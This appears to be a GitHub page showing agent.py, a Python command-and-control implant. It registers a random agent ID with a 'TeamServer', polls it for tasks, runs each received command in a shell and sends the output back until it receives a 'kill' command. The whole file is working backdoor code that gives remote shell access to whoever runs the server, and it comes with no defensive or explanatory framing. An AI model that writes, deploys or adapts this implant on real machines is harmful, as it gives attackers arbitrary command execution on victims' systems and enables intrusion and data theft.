-
Notifications
You must be signed in to change notification settings - Fork 0
/
agent.py
89 lines (65 loc) · 2.58 KB
/
agent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import robloxpy
import subprocess
import requests
import public_ip as ip
import string
import random
import time
# Function to generate a 5 letter lowcase characters
def get_random_string(length):
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
#Creates agent based on calling the function above , get_random_string()
agent_name = get_random_string(5).encode('utf-8').decode('utf-8')
agent_name_payload = {
'agentid' : agent_name
}
TeamServer_IP = "http://127.0.0.1:5000"
def initial_signin():
result = requests.post(f'{TeamServer_IP}/register_agent', headers={'Content-Type': 'application/json'}, json=agent_name_payload)
return result.json()
def check_task():
get_commands_res = requests.get(f'{TeamServer_IP}/get_task', headers={'Content-Type': 'application/json'}, json=agent_name_payload)
return get_commands_res
def send_response(result):
agent_name_payload = {
'agentid' : agent_name,
'result' : result
}
get_response_res = requests.get(f'{TeamServer_IP}/send_response', headers={'Content-Type': 'application/json'}, json=agent_name_payload)
return get_response_res
def run_cmd(command , timeout):
result = ''
try:
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, shell=True)
stdout, stderr = process.communicate(timeout=timeout)
result = stdout
if process.returncode == 0:
return result
else:
return f"Error: {stderr}"
except subprocess.TimeoutExpired:
process.kill()
return f"Command timed out after {timeout} seconds\nResult : {result}"
except Exception as e:
return f"An error occurred: {str(e)}"
register_agent_res = initial_signin()
if register_agent_res['status'] == 'success':
print("[+] Signin Sucess!")
elif register_agent_res['status'] == 'AgentID Exists':
print("[x] Signin Failed")
alive = True
while alive:
command = ''
check_task_res = check_task().json()
command = check_task_res['command']
if command == 'kill':
print("[+] Command Received! - Kill Command!\nKilling agent...")
alive = False
elif command is not None:
print(f"[+] Command Received! - Running Command : {command}")
send_response(run_cmd(command,timeout=5))
else:
print("[+] Teamserver Alive! - Waiting for command...")
time.sleep(check_task_res['check_in_time'])